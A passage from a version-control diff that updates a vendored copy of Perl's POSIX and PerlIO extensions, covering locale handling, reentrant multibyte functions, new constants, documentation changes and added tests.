-        /* Save retval since subsequent setlocale() calls may overwrite it. */
-        retval = savepv(retval);
-        SAVEFREEPV(retval);
-
-        /* For locale == 0, we may have switched to NUMERIC_UNDERLYING.  Switch
-         * back */
-        if (locale == 0) {
-            SET_NUMERIC_STANDARD();
-            XSRETURN_PV(retval);
-        }
-        else {
-	    RETVAL = retval;
-#ifdef USE_LOCALE_CTYPE
-	    if (category == LC_CTYPE
-#ifdef LC_ALL
-		|| category == LC_ALL
-#endif
-		)
-	    {
-		char *newctype;
-#ifdef LC_ALL
-		if (category == LC_ALL) {
-		    newctype = setlocale(LC_CTYPE, NULL);
-                    DEBUG_Lv(PerlIO_printf(Perl_debug_log,
-                        "%s:%d: %s\n", __FILE__, __LINE__,
-                        _setlocale_debug_string(LC_CTYPE, NULL, newctype)));
-                }
-		else
-#endif
-		    newctype = RETVAL;
-		new_ctype(newctype);
-	    }
-#endif /* USE_LOCALE_CTYPE */
-#ifdef USE_LOCALE_COLLATE
-	    if (category == LC_COLLATE
-#ifdef LC_ALL
-		|| category == LC_ALL
-#endif
-		)
-	    {
-		char *newcoll;
-#ifdef LC_ALL
-		if (category == LC_ALL) {
-		    newcoll = setlocale(LC_COLLATE, NULL);
-                    DEBUG_Lv(PerlIO_printf(Perl_debug_log,
-                        "%s:%d: %s\n", __FILE__, __LINE__,
-                        _setlocale_debug_string(LC_COLLATE, NULL, newcoll)));
-                }
-		else
-#endif
-		    newcoll = RETVAL;
-		new_collate(newcoll);
-	    }
-#endif /* USE_LOCALE_COLLATE */
-#ifdef USE_LOCALE_NUMERIC
-	    if (category == LC_NUMERIC
-#ifdef LC_ALL
-		|| category == LC_ALL
-#endif
-		)
-	    {
-		char *newnum;
-#ifdef LC_ALL
-		if (category == LC_ALL) {
-		    newnum = setlocale(LC_NUMERIC, NULL);
-                    DEBUG_Lv(PerlIO_printf(Perl_debug_log,
-                        "%s:%d: %s\n", __FILE__, __LINE__,
-                        _setlocale_debug_string(LC_NUMERIC, NULL, newnum)));
-                }
-		else
-#endif
-		    newnum = RETVAL;
-		new_numeric(newnum);
-	    }
-#endif /* USE_LOCALE_NUMERIC */
-	}
+        RETVAL = retval;
     OUTPUT:
 	RETVAL
 
@@ -3020,7 +2988,7 @@
 	        const char *s = SvPVX_const(ST(0));
 		int i = whichsig(s);
 
-	        if (i < 0 && _memEQs(s, "SIG"))
+	        if (i < 0 && memBEGINs(s, SvCUR(ST(0)), "SIG"))
 		    i = whichsig(s + 3);
 	        if (i < 0) {
 	            if (ckWARN(WARN_SIGNAL))
@@ -3336,10 +3304,27 @@
 void
 abort()
 
+#ifdef I_WCHAR
+#  include <wchar.h>
+#endif
+
 int
 mblen(s, n)
 	char *		s
 	size_t		n
+    PREINIT:
+#if defined(USE_ITHREADS) && defined(HAS_MBRLEN)
+        mbstate_t ps;
+#endif
+    CODE:
+#if defined(USE_ITHREADS) && defined(HAS_MBRLEN)
+        PERL_UNUSED_RESULT(mbrlen(NULL, 0, &ps));   /* Initialize state */
+        RETVAL = mbrlen(s, n, &ps); /* Prefer reentrant version */
+#else
+        RETVAL = mblen(s, n);
+#endif
+    OUTPUT:
+        RETVAL
 
 size_t
 mbstowcs(s, pwcs, n)
@@ -3352,6 +3337,21 @@
 	wchar_t *	pwc
 	char *		s
 	size_t		n
+    PREINIT:
+#if defined(USE_ITHREADS) && defined(HAS_MBRTOWC)
+        mbstate_t ps;
+#endif
+    CODE:
+#if defined(USE_ITHREADS) && defined(HAS_MBRTOWC)
+        memset(&ps, 0, sizeof(ps));;
+        PERL_UNUSED_RESULT(mbrtowc(pwc, NULL, 0, &ps));/* Reset any shift state */
+        errno = 0;
+        RETVAL = mbrtowc(pwc, s, n, &ps);   /* Prefer reentrant version */
+#else
+        RETVAL = mbtowc(pwc, s, n);
+#endif
+    OUTPUT:
+        RETVAL
 
 int
 wcstombs(s, pwcs, n)
@@ -3379,6 +3379,7 @@
         DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
         STORE_LC_NUMERIC_FORCE_TO_UNDERLYING();
 	num = strtod(str, &unparsed);
+        RESTORE_LC_NUMERIC();
 	PUSHs(sv_2mortal(newSVnv(num)));
 	if (GIMME_V == G_ARRAY) {
 	    EXTEND(SP, 1);
@@ -3387,7 +3388,6 @@
 	    else
 		PUSHs(&PL_sv_undef);
 	}
-        RESTORE_LC_NUMERIC_STANDARD();
 
 #ifdef HAS_STRTOLD
 
@@ -3401,6 +3401,7 @@
         DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
         STORE_LC_NUMERIC_FORCE_TO_UNDERLYING();
 	num = strtold(str, &unparsed);
+        RESTORE_LC_NUMERIC();
 	PUSHs(sv_2mortal(newSVnv(num)));
 	if (GIMME_V == G_ARRAY) {
 	    EXTEND(SP, 1);
@@ -3409,7 +3410,6 @@
 	    else
 		PUSHs(&PL_sv_undef);
 	}
-        RESTORE_LC_NUMERIC_STANDARD();
 
 #endif
 
@@ -3644,18 +3644,22 @@
             /* allowing user-supplied (rather than literal) formats
              * is normally frowned upon as a potential security risk;
              * but this is part of the API so we have to allow it */
-            GCC_DIAG_IGNORE(-Wformat-nonliteral);
+            GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral);
 	    buf = my_strftime(SvPV_nolen(fmt), sec, min, hour, mday, mon, year, wday, yday, isdst);
-            GCC_DIAG_RESTORE;
+            GCC_DIAG_RESTORE_STMT;
             sv = sv_newmortal();
 	    if (buf) {
                 STRLEN len = strlen(buf);
 		sv_usepvn_flags(sv, buf, len, SV_HAS_TRAILING_NUL);
-		if (SvUTF8(fmt)
-                    || (! is_utf8_invariant_string((U8*) buf, len)
-                        && is_utf8_string((U8*) buf, len)
+		if (       SvUTF8(fmt)
+                    || (   is_utf8_non_invariant_string((U8*) buf, len)
 #ifdef USE_LOCALE_TIME
                         && _is_cur_LC_category_utf8(LC_TIME)
+#else   /* If can't check directly, at least can see if script is consistent,
+           under UTF-8, which gives us an extra measure of confidence. */
+
+                        && isSCRIPT_RUN((const U8 *) buf, buf + len,
+                                        TRUE) /* Means assume UTF-8 */
 #endif
                 )) {
 		    SvUTF8_on(sv);

Modified: vendor/perl/dist/ext/POSIX/lib/POSIX.pm
===================================================================
--- vendor/perl/dist/ext/POSIX/lib/POSIX.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/POSIX/lib/POSIX.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 
 our ($AUTOLOAD, %SIGRT);
 
-our $VERSION = '1.76';
+our $VERSION = '1.84';
 
 require XSLoader;
 
@@ -306,7 +306,8 @@
 		_POSIX_STREAM_MAX _POSIX_TZNAME_MAX)],
 
     locale_h =>	[qw(LC_ALL LC_COLLATE LC_CTYPE LC_MESSAGES
-		    LC_MONETARY LC_NUMERIC LC_TIME NULL
+		    LC_MONETARY LC_NUMERIC LC_TIME LC_IDENTIFICATION
+                    LC_MEASUREMENT LC_PAPER LC_TELEPHONE LC_ADDRESS NULL
 		    localeconv setlocale)],
 
     math_h =>   [qw(FP_ILOGB0 FP_ILOGBNAN FP_INFINITE FP_NAN FP_NORMAL
@@ -437,6 +438,8 @@
 
     stdlib_h_c99 => [ @{$default_export_tags{stdlib_h}}, 'strtold' ],
 
+    sys_resource_h => [qw(PRIO_PROCESS PRIO_PGRP PRIO_USER)],
+
     sys_socket_h => [qw(
         MSG_CTRUNC MSG_DONTROUTE MSG_EOR MSG_OOB MSG_PEEK MSG_TRUNC MSG_WAITALL
     )],

Modified: vendor/perl/dist/ext/POSIX/lib/POSIX.pod
===================================================================
--- vendor/perl/dist/ext/POSIX/lib/POSIX.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/POSIX/lib/POSIX.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,7 +24,7 @@
 This document gives a condensed list of the features available in the POSIX
 module.  Consult your operating system's manpages for general information on
 most features.  Consult L<perlfunc> for functions which are noted as being
-identical to Perl's builtin functions.
+identical or almost identical to Perl's builtin functions.
 
 The first section describes POSIX functions from the 1003.1 specification.
 The second section describes some classes for signal objects, TTY objects,
@@ -81,9 +81,14 @@
 
 =item C<abs>
 
-This is identical to Perl's builtin C<abs()> function, returning
-the absolute value of its numerical argument.
+This is identical to Perl's builtin C<abs()> function, returning the absolute
+value of its numerical argument (except that C<POSIX::abs()> must be provided
+an explicit value (rather than relying on an implicit C<$_>):
 
+    $absolute_value = POSIX::abs(42);   # good
+
+    $absolute_value = POSIX::abs();     # throws exception
+
 =item C<access>
 
 Determines the accessibility of a file.
@@ -110,9 +115,14 @@
 
 =item C<alarm>
 
-This is identical to Perl's builtin C<alarm()> function,
-either for arming or disarming the C<SIGARLM> timer.
+This is identical to Perl's builtin C<alarm()> function, either for arming or
+disarming the C<SIGARLM> timer, except that C<POSIX::alarm()> must be provided
+an explicit value (rather than relying on an implicit C<$_>):
 
+    POSIX::alarm(3)     # good
+
+    POSIX::alarm()      # throws exception
+
 =item C<asctime>
 
 This is identical to the C function C<asctime()>.  It returns
@@ -203,14 +213,28 @@
 
 =item C<chdir>
 
-This is identical to Perl's builtin C<chdir()> function, allowing
-one to change the working (default) directory, see L<perlfunc/chdir>.
+This is identical to Perl's builtin C<chdir()> function, allowing one to
+change the working (default) directory -- see L<perlfunc/chdir> -- with the
+exception that C<POSIX::chdir()> must be provided an explicit value (rather
+than relying on an implicit C<$_>):
 
+    $rv = POSIX::chdir('path/to/dir');      # good
+
+    $rv = POSIX::chdir();                   # throws exception
+
 =item C<chmod>
 
 This is identical to Perl's builtin C<chmod()> function, allowing
-one to change file and directory permissions, see L<perlfunc/chmod>.
+one to change file and directory permissions -- see L<perlfunc/chmod> -- with
+the exception that C<POSIX::chmod()> can only change one file at a time
+(rather than a list of files):
 
+    $c = chmod 0664, $file1, $file2;          # good
+
+    $c = POSIX::chmod 0664, $file1;           # throws exception
+
+    $c = POSIX::chmod 0664, $file1, $file2;   # throws exception
+
 =item C<chown>
 
 This is identical to Perl's builtin C<chown()> function, allowing one
@@ -915,6 +939,14 @@
 should also read L<perllocale>, which provides a comprehensive
 discussion of Perl locale handling, including
 L<a section devoted to this function|perllocale/The localeconv function>.
+Prior to Perl 5.28, or when operating in a non thread-safe environment,
+it should not be used in a threaded application unless it's certain that
+the underlying locale is C or POSIX.  This is because it otherwise
+changes the locale, which globally affects all threads simultaneously.
+Windows platforms starting with Visual Studio 2005 are mostly
+thread-safe, but use of this function in those prior to Visual Studio
+2015 can interefere with a thread that has called
+L<perlapi/switch_to_global_locale>.
 
 Here is how to query the database for the B<de> (Deutsch or German) locale.
 
@@ -958,8 +990,16 @@
 =item C<localtime>
 
 This is identical to Perl's builtin C<localtime()> function for
-converting seconds since the epoch to a date see L<perlfunc/localtime>.
+converting seconds since the epoch to a date see L<perlfunc/localtime> except
+that C<POSIX::localtime()> must be provided an explicit value (rather than
+relying on an implicit C<$_>):
 
+    @localtime = POSIX::localtime(time);    # good
+
+    @localtime = localtime();               # good
+
+    @localtime = POSIX::localtime();        # throws exception
+
 =item C<log>
 
 This is identical to Perl's builtin C<log()> function,
@@ -1772,7 +1812,10 @@
 
 C<strtod> respects any POSIX C<setlocale()> C<LC_TIME> settings,
 regardless of whether or not it is called from Perl code that is within
-the scope of S<C<use locale>>.
+the scope of S<C<use locale>>.  This means it should not be used in a
+threaded application unless it's certain that the underlying locale is C
+or POSIX.  This is because it otherwise changes the locale, which
+globally affects all threads simultaneously.
 
 To parse a string C<$str> as a floating point number use
 
@@ -2433,6 +2476,18 @@
 
 =back
 
+=head1 RESOURCE CONSTANTS
+
+Imported with the C<:sys_resource_h> tag.
+
+=over 8
+
+=item Constants
+
+C<PRIO_PROCESS> C<PRIO_PGRP> C<PRIO_USER>
+
+=back
+
 =head1 SYSTEM CONFIGURATION
 
 =over 8

Modified: vendor/perl/dist/ext/POSIX/t/export.t
===================================================================
--- vendor/perl/dist/ext/POSIX/t/export.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/POSIX/t/export.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -45,8 +45,10 @@
             FLT_ROUNDS F_DUPFD F_GETFD F_GETFL F_GETLK F_OK F_RDLCK
             F_SETFD F_SETFL F_SETLK F_SETLKW F_UNLCK F_WRLCK HUGE_VAL
             HUPCL ICANON ICRNL IEXTEN IGNBRK IGNCR IGNPAR INLCR INPCK
-            INT_MAX INT_MIN ISIG ISTRIP IXOFF IXON LC_ALL LC_COLLATE
-            LC_CTYPE LC_MESSAGES LC_MONETARY LC_NUMERIC LC_TIME LDBL_DIG
+            INT_MAX INT_MIN ISIG ISTRIP IXOFF IXON
+            LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION
+            LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NUMERIC LC_PAPER
+            LC_TELEPHONE LC_TIME LDBL_DIG
             LDBL_EPSILON LDBL_MANT_DIG LDBL_MAX LDBL_MAX_10_EXP
             LDBL_MAX_EXP LDBL_MIN LDBL_MIN_10_EXP LDBL_MIN_EXP LINK_MAX
             LONG_MAX LONG_MIN L_ctermid L_cuserid MAX_CANON
@@ -178,6 +180,10 @@
             POLL_IN POLL_OUT POLL_MSG POLL_ERR POLL_PRI POLL_HUP
             SI_USER SI_QUEUE SI_TIMER SI_ASYNCIO SI_MESGQ
         ),
+        # added in 5.27
+        qw(
+            PRIO_PROCESS PRIO_PGRP PRIO_USER
+        ),
     ],
 );
 

Modified: vendor/perl/dist/ext/POSIX/t/posix.t
===================================================================
--- vendor/perl/dist/ext/POSIX/t/posix.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/POSIX/t/posix.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -25,7 +25,6 @@
 
 $Is_W32     = $^O eq 'MSWin32';
 $Is_Dos     = $^O eq 'dos';
-$Is_MacOS   = $^O eq 'MacOS';
 $Is_VMS     = $^O eq 'VMS';
 $Is_OS2     = $^O eq 'os2';
 $Is_UWin    = $^O eq 'uwin';
@@ -91,55 +90,51 @@
     ok(! $sigset->ismember(1),  'POSIX::SigSet->delset' );
     ok(  $sigset->ismember(3),  'POSIX::SigSet->ismember' );
 
-    SKIP: {
-        skip("no kill() support on Mac OS", 4) if $Is_MacOS;
+    my $sigint_called = 0;
 
-        my $sigint_called = 0;
+    my $mask   = new POSIX::SigSet &SIGINT;
+    my $action = new POSIX::SigAction 'main::SigHUP', $mask, 0;
+    sigaction(&SIGHUP, $action);
+    $SIG{'INT'} = 'SigINT';
 
-	my $mask   = new POSIX::SigSet &SIGINT;
-	my $action = new POSIX::SigAction 'main::SigHUP', $mask, 0;
-	sigaction(&SIGHUP, $action);
-	$SIG{'INT'} = 'SigINT';
+    # At least OpenBSD/i386 3.3 is okay, as is NetBSD 1.5.
+    # But not NetBSD 1.6 & 1.6.1: the test makes perl crash.
+    # So the kill() must not be done with this config in order to
+    # finish the test.
+    # For others (darwin & freebsd), let the test fail without crashing.
+    # the test passes at least from freebsd 8.1
+    my $todo = $^O eq 'netbsd' && $Config{osvers}=~/^1\.6/;
+    my $why_todo = "# TODO $^O $Config{osvers} seems to lose blocked signals";
+    if (!$todo) {
+      kill 'HUP', $$;
+    } else {
+      print "not ok 9 - sigaction SIGHUP ",$why_todo,"\n";
+      print "not ok 10 - sig mask delayed SIGINT ",$why_todo,"\n";
+    }
+    sleep 1;
 
-	# At least OpenBSD/i386 3.3 is okay, as is NetBSD 1.5.
-	# But not NetBSD 1.6 & 1.6.1: the test makes perl crash.
-	# So the kill() must not be done with this config in order to
-	# finish the test.
-	# For others (darwin & freebsd), let the test fail without crashing.
-	# the test passes at least from freebsd 8.1
-	my $todo = $^O eq 'netbsd' && $Config{osvers}=~/^1\.6/;
-	my $why_todo = "# TODO $^O $Config{osvers} seems to lose blocked signals";
-	if (!$todo) { 
-	  kill 'HUP', $$; 
-	} else {
-	  print "not ok 9 - sigaction SIGHUP ",$why_todo,"\n";
-	  print "not ok 10 - sig mask delayed SIGINT ",$why_todo,"\n";
-	}
-	sleep 1;
+    $todo = 1 if ($^O eq 'freebsd' && $Config{osvers} < 8)
+              || ($^O eq 'darwin' && $Config{osvers} < '6.6');
+    printf "%s 11 - masked SIGINT received %s\n",
+        $sigint_called ? "ok" : "not ok",
+        $todo ? $why_todo : '';
 
-	$todo = 1 if ($^O eq 'freebsd' && $Config{osvers} < 8)
-		  || ($^O eq 'darwin' && $Config{osvers} < '6.6');
-	printf "%s 11 - masked SIGINT received %s\n",
-	    $sigint_called ? "ok" : "not ok",
-	    $todo ? $why_todo : '';
+    print "ok 12 - signal masks successful\n";
 
-	print "ok 12 - signal masks successful\n";
-	
-	sub SigHUP {
-	    print "ok 9 - sigaction SIGHUP\n";
-	    kill 'INT', $$;
-	    sleep 2;
-	    print "ok 10 - sig mask delayed SIGINT\n";
-	}
+    sub SigHUP {
+        print "ok 9 - sigaction SIGHUP\n";
+        kill 'INT', $$;
+        sleep 2;
+        print "ok 10 - sig mask delayed SIGINT\n";
+    }
 
-        sub SigINT {
-            $sigint_called++;
-	}
+    sub SigINT {
+        $sigint_called++;
+    }
 
-        # The order of the above tests is very important, so
-        # we use literal prints and hard coded numbers.
-        next_test() for 1..4;
-    }
+    # The order of the above tests is very important, so
+    # we use literal prints and hard coded numbers.
+    next_test() for 1..4;
 }
 
 SKIP: {
@@ -283,11 +278,8 @@
     }
 }
 
-SKIP: {
-  skip("no kill() support on Mac OS", 1) if $Is_MacOS;
-  is (eval "kill 0", 0, "check we have CORE::kill")
-    or print "\$\@ is " . _qq($@) . "\n";
-}
+is (eval "kill 0", 0, "check we have CORE::kill")
+  or print "\$\@ is " . _qq($@) . "\n";
 
 # Check that we can import the POSIX kill routine
 POSIX->import ('kill');
@@ -415,7 +407,7 @@
 } else {
  $| = 0;
  # The following line assumes buffered output, which may be not true:
- print '@#!*$@(!@#$' unless ($Is_MacOS || $Is_OS2 || $Is_UWin || $Is_OS390 ||
+ print '@#!*$@(!@#$' unless ($Is_OS2 || $Is_UWin || $Is_OS390 ||
                             $Is_VMS ||
 			    (defined $ENV{PERLIO} &&
 			     $ENV{PERLIO} eq 'unix' &&

Modified: vendor/perl/dist/ext/POSIX/t/sigaction.t
===================================================================
--- vendor/perl/dist/ext/POSIX/t/sigaction.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/POSIX/t/sigaction.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 	use Config;
 	eval 'use POSIX';
 	if($@ || $^O eq 'MSWin32' || $^O eq 'NetWare' || $^O eq 'dos' ||
-	   $^O eq 'MacOS' || ($^O eq 'VMS' && !$Config{'d_sigaction'})) {
+	   ($^O eq 'VMS' && !$Config{'d_sigaction'})) {
 		print "1..0\n";
 		exit 0;
 	}
@@ -14,7 +14,7 @@
 use Test::More tests => 36;
 
 use strict;
-use vars qw/$bad $bad7 $ok10 $bad18 $ok/;
+our ( $bad, $bad7, $ok10, $bad18, $ok );
 
 $^W=1;
 

Modified: vendor/perl/dist/ext/POSIX/t/time.t
===================================================================
--- vendor/perl/dist/ext/POSIX/t/time.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/POSIX/t/time.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,7 +22,7 @@
     # actually do anything.  Cygwin works in some places, but not others.  The
     # other Win32's below are guesses.
     skip "No tzset()", 2
-       if $^O eq "MacOS" || $^O eq "VMS" || $^O eq "cygwin" || $^O eq "djgpp" ||
+       if $^O eq "VMS" || $^O eq "cygwin" || $^O eq "djgpp" ||
           $^O eq "MSWin32" || $^O eq "dos" || $^O eq "interix";
     tzset();
     my @tzname = tzname();

Modified: vendor/perl/dist/ext/POSIX/t/usage.t
===================================================================
--- vendor/perl/dist/ext/POSIX/t/usage.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/POSIX/t/usage.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -32,10 +32,10 @@
     my $arg_pat = join ', ', ('[a-z]+') x $valid{$func};
     my $expect = qr/\AUsage: POSIX::$func\($arg_pat\) at \(eval/;
     foreach my $try (@try) {
-	next if $valid{$func} == $try;
-	my $call = "POSIX::$func(" . join(', ', 1 .. $try) . ')';
-	is(eval "$call; 1", undef, "$call fails");
-	like($@, $expect, "POSIX::$func for $try arguments gives expected error")
+	    next if $valid{$func} == $try;
+	    my $call = "POSIX::$func(" . join(', ', 1 .. $try) . ')';
+	    is(eval "$call; 1", undef, "$call fails");
+	    like($@, $expect, "POSIX::$func for $try arguments gives expected error")
     }
 }
 

Modified: vendor/perl/dist/ext/PerlIO-encoding/encoding.pm
===================================================================
--- vendor/perl/dist/ext/PerlIO-encoding/encoding.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/PerlIO-encoding/encoding.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package PerlIO::encoding;
 
 use strict;
-our $VERSION = '0.25';
+our $VERSION = '0.26';
 our $DEBUG = 0;
 $DEBUG and warn __PACKAGE__, " called by ", join(", ", caller), "\n";
 

Modified: vendor/perl/dist/ext/PerlIO-encoding/encoding.xs
===================================================================
--- vendor/perl/dist/ext/PerlIO-encoding/encoding.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/PerlIO-encoding/encoding.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -307,42 +307,19 @@
 		goto end_of_file;
 	    }
 	}
-	if (SvCUR(e->dataSV)) {
-	    /* something left over from last time - create a normal
-	       SV with new data appended
-	     */
-	    if (use + SvCUR(e->dataSV) > e->base.bufsiz) {
-		if (e->flags & NEEDS_LINES) {
-		    /* Have to grow buffer */
-		    e->base.bufsiz = use + SvCUR(e->dataSV);
-		    PerlIOEncode_get_base(aTHX_ f);
-		}
-		else {
-	       use = e->base.bufsiz - SvCUR(e->dataSV);
+	if (!SvCUR(e->dataSV))
+	    SvPVCLEAR(e->dataSV);
+	if (use + SvCUR(e->dataSV) > e->base.bufsiz) {
+	    if (e->flags & NEEDS_LINES) {
+		/* Have to grow buffer */
+		e->base.bufsiz = use + SvCUR(e->dataSV);
+		PerlIOEncode_get_base(aTHX_ f);
 	    }
+	    else {
+		use = e->base.bufsiz - SvCUR(e->dataSV);
 	    }
-	    sv_catpvn(e->dataSV,(char*)ptr,use);
 	}
-	else {
-	    /* Create a "dummy" SV to represent the available data from layer below */
-	    if (SvLEN(e->dataSV) && SvPVX_const(e->dataSV)) {
-		Safefree(SvPVX_mutable(e->dataSV));
-	    }
-	    if (use > (SSize_t)e->base.bufsiz) {
-		if (e->flags & NEEDS_LINES) {
-		    /* Have to grow buffer */
-		    e->base.bufsiz = use;
-		    PerlIOEncode_get_base(aTHX_ f);
-		}
-		else {
-	       use = e->base.bufsiz;
-	    }
-	    }
-	    SvPV_set(e->dataSV, (char *) ptr);
-	    SvLEN_set(e->dataSV, 0);  /* Hands off sv.c - it isn't yours */
-	    SvCUR_set(e->dataSV,use);
-	    SvPOK_only(e->dataSV);
-	}
+	sv_catpvn(e->dataSV,(char*)ptr,use);
 	SvUTF8_off(e->dataSV);
 	PUSHMARK(sp);
 	XPUSHs(e->enc);

Modified: vendor/perl/dist/ext/PerlIO-encoding/t/encoding.t
===================================================================
--- vendor/perl/dist/ext/PerlIO-encoding/t/encoding.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/PerlIO-encoding/t/encoding.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
     require "../../t/charset_tools.pl";
 }
 
-use Test::More tests => 24;
+use Test::More tests => 27;
 
 my $grk = "grk$$";
 my $utf = "utf$$";
@@ -231,6 +231,16 @@
 
 } # SKIP
 
+# decoding shouldn't mutate the original bytes [perl #132833]
+{
+    my $b = "a\0b\0\n\0";
+    open my $fh, "<:encoding(UTF16-LE)", \$b or die;
+    is scalar(<$fh>), "ab\n";
+    is $b, "a\0b\0\n\0";
+    close $fh or die;
+    is $b, "a\0b\0\n\0";
+}
+
 END {
     1 while unlink($grk, $utf, $fail1, $fail2, $russki, $threebyte);
 }

Modified: vendor/perl/dist/ext/PerlIO-scalar/scalar.pm
===================================================================
--- vendor/perl/dist/ext/PerlIO-scalar/scalar.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/PerlIO-scalar/scalar.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 package PerlIO::scalar;
-our $VERSION = '0.26';
+our $VERSION = '0.29';
 require XSLoader;
 XSLoader::load();
 1;

Modified: vendor/perl/dist/ext/PerlIO-scalar/scalar.xs
===================================================================
--- vendor/perl/dist/ext/PerlIO-scalar/scalar.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/PerlIO-scalar/scalar.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -43,7 +43,7 @@
 	     && mode && *mode != 'r') {
 		if (ckWARN(WARN_LAYER))
 		    Perl_warner(aTHX_ packWARN(WARN_LAYER), "%s", PL_no_modify);
-		SETERRNO(EINVAL, SS_IVCHAN);
+		SETERRNO(EACCES, RMS_PRV);
 		return -1;
 	    }
 	    s->var = SvREFCNT_inc(SvRV(arg));
@@ -186,8 +186,8 @@
          * seems safe) and that the size of the buffer in our SV is
          * always less than half the size of the address space
          */
-        assert(sizeof(Off_t) >= sizeof(len));
-        assert((Off_t)len >= 0);
+        STATIC_ASSERT_STMT(sizeof(Off_t) >= sizeof(len));
+        assert(len < ((~(STRLEN)0) >> 1));
         if ((Off_t)len <= s->posn)
 	    return 0;
 	got = len - (STRLEN)(s->posn);

Modified: vendor/perl/dist/ext/PerlIO-scalar/t/scalar.t
===================================================================
--- vendor/perl/dist/ext/PerlIO-scalar/t/scalar.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/PerlIO-scalar/t/scalar.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,10 +13,11 @@
 }
 
 use Fcntl qw(SEEK_SET SEEK_CUR SEEK_END); # Not 0, 1, 2 everywhere.
+use Errno qw(EACCES);
 
 $| = 1;
 
-use Test::More tests => 122;
+use Test::More tests => 123;
 
 my $fh;
 my $var = "aaa\n";
@@ -185,6 +186,7 @@
 
     my $ro = \43;
     ok(!(defined open(F, '>', $ro)), $!);
+    is($!+0, EACCES, "check we get a read-onlyish error code");
     close F;
     # but we can read from it
     ok(open(F, '<', $ro), $!);

Added: vendor/perl/dist/ext/PerlIO-via/t/thread.t
===================================================================
--- vendor/perl/dist/ext/PerlIO-via/t/thread.t	                        (rev 0)
+++ vendor/perl/dist/ext/PerlIO-via/t/thread.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,73 @@
+#!perl
+BEGIN {
+    unless (find PerlIO::Layer 'perlio') {
+	print "1..0 # Skip: not perlio\n";
+	exit 0;
+    }
+    require Config;
+    unless ($Config::Config{'usethreads'}) {
+        print "1..0 # Skip -- need threads for this test\n";
+        exit 0;
+    }
+    if (($Config::Config{'extensions'} !~ m!\bPerlIO/via\b!) ){
+        print "1..0 # Skip -- Perl configured without PerlIO::via module\n";
+        exit 0;
+    }
+}
+
+use strict;
+use warnings;
+use threads;
+
+my $tmp = "via$$";
+
+END {
+    1 while unlink $tmp;
+}
+
+use Test::More tests => 2;
+
+our $push_count = 0;
+
+{
+    open my $fh, ">:via(Test1)", $tmp
+      or die "Cannot open $tmp: $!";
+    $fh->autoflush;
+
+    print $fh "AXAX";
+
+    # previously this would crash
+    threads->create(
+        sub {
+            print $fh "XZXZ";
+        })->join;
+
+    print $fh "BXBX";
+    close $fh;
+
+    open my $in, "<", $tmp;
+    my $line = <$in>;
+    close $in;
+
+    is($line, "AYAYYZYZBYBY", "check thread data delivered");
+
+    is($push_count, 1, "PUSHED not called for dup on thread creation");
+}
+
+package PerlIO::via::Test1;
+
+sub PUSHED {
+    my ($class) = @_;
+    ++$main::push_count;
+    bless {}, $class;
+}
+
+sub WRITE {
+    my ($self, $data, $fh) = @_;
+    $data =~ tr/X/Y/;
+    $fh->autoflush;
+    print $fh $data;
+    return length $data;
+}
+
+

Modified: vendor/perl/dist/ext/PerlIO-via/t/via.t
===================================================================
--- vendor/perl/dist/ext/PerlIO-via/t/via.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/PerlIO-via/t/via.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,7 +17,7 @@
 
 my $tmp = "via$$";
 
-use Test::More tests => 18;
+use Test::More tests => 26;
 
 my $fh;
 my $a = join("", map { chr } 0..255) x 10;
@@ -84,6 +84,60 @@
 open $fh, '<:via(Bar)', "bar";
 is( $obj, 'PerlIO::via::Bar', 'search for package PerlIO::via::Bar' );
 
+{
+    # [perl #131221]
+    ok(open(my $fh1, ">", $tmp), "open $tmp");
+    ok(binmode($fh1, ":via(XXX)"), "binmode :via(XXX) onto it");
+    ok(open(my $fh2, ">&", $fh1), "dup it");
+    close $fh1;
+    close $fh2;
+
+    # make sure the old workaround still works
+    ok(open($fh1, ">", $tmp), "open $tmp");
+    ok(binmode($fh1, ":via(YYY)"), "binmode :via(YYY) onto it");
+    ok(open($fh2, ">&", $fh1), "dup it");
+    print $fh2 "XZXZ";
+    close $fh1;
+    close $fh2;
+
+    ok(open($fh1, "<", $tmp), "open $tmp for check");
+    { local $/; $b = <$fh1> }
+    close $fh1;
+    is($b, "XZXZ", "check result is from non-filtering class");
+
+    package PerlIO::via::XXX;
+
+    sub PUSHED {
